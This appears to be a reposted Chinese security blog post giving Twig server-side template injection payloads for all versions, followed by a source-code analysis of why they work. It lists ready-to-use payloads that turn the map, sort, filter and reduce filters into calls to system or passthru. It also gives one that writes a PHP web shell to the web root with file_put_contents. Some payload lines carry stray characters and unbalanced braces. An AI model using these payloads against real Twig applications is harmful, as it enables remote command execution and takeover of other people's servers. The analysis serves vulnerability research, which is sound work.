TWIG 全版本通用 SSTI payloads

2020-04-10 约 364 字 预计阅读 2 分钟

声明:本文 【TWIG 全版本通用 SSTI payloads】 由作者 wuwuwu**** 于 2020-04-10 09:55:48 首发 先知社区 曾经 浏览数 135 次

感谢 wuwuwu**** 的辛苦付出!

TWIG 全版本 通用 SSTI payload

上次发了一篇Twig 3.x with Symfony的SSTI利用方法,这几天刷twitter的时候又看到了一篇writeup,里面提到了另外一种rce的方法,这种方法不依赖于Symfony。

payloads

直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。

  • 222["id"]|map("system")|join(",")
  • 222["id", 0]|sort("system")|join(",")}}
  • 222["id"]|filter("system")|join(",")}}
  • 222[0, 0]|reduce("system", "id")|join(",")}}
  • 222{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

分析

map

文档里面map的用法

允许用户传一个arrow function, arrow function最后会变成一个closure

举个例子

222["man"]|map((arg)=>"hello #{arg}")}}

会被编译成

twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))

map 对应的函数是twig_array_map ,下面是其实现

function twig_array_map($array, $arrow)
{
    $r = [];
    foreach ($array as $k => $v) {
        $r[$k] = $arrow($v, $k);
    }

    return $r;
}

从上面的代码我们可以看到,$arrow 是可控的,可以不传arrow function,可以只传一个字符串。所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数:

  • system ( string $command [, int &$return_var ] ) : string

  • passthru ( string $command [, int &$return_var ] )

  • exec ( string $command [, array &$output [, int &$return_var ]] ) : string

  • popen ( string $command , string $mode )

  • shell_exec ( string $cmd ) : string

只要可以传两个参数的基本都可以,所以前四个都是可以用的。

思考一下如果上面的都被禁了,还有其他办法吗?

  • file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

通过222{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} 写个shell 也是可以的。

当然了应该还有其他函数可以利用。

下面通过调试来看一下传arrow fucntion 和 直接传字符串会有什么不同。

(arg)=>"hello #{arg}" 会被解析成ArrowFunctionExpression,经过一些列处理会变成一个闭包函数。

但是如果我们传的是 `222["id"]|map("passthru")}} passthru 会被解析成 ConstanExpression

222["id"]|map("passthru")}} 最终会被编译成下面这样

twig_array_map([0 => "whoami"], "passthru")

按照这个思路,我们去找$arrow 参数的, 可以发现下面几个filter也是可以利用的

sort

function twig_sort_filter($array, $arrow = null)
{
    if ($array instanceof \Traversable) {
        $array = iterator_to_array($array);
    } elseif (!\is_array($array)) {
        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
    }

    if (null !== $arrow) {
        uasort($array, $arrow);
    } else {
        asort($array);
    }

    return $array;
}

usort ( array &$array , callable $value_compare_func ) : bool

所以我们可以构造

222["id", 0]|sort("passthru")}}

filter

function twig_array_filter($array, $arrow)
{
    if (\is_array($array)) {
        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

只需要传一个参数即可

222["id"]|filter('system')}}

reduce

function twig_array_reduce($array, $arrow, $initial = null)
{
    if (!\is_array($array)) {
        $array = iterator_to_array($array);
    }

    return array_reduce($array, $arrow, $initial);
}

array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

刚开始还是像前面那样构造成了

222["id", 0]|reduce("passthru")}}

但是会发现没有执行成功,是因为第一次调用的是passthru($initial, "id"), $initial 是null,所以会失败。所以把$initial 赋值成要执行的命令即可

222[0, 0]|reduce("passthru", "id")}}

不知道有没有自动化fuzz,把php允许有callback参数的所有函数找出来,如果有师傅研究过,欢迎来交流。

参考链接

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now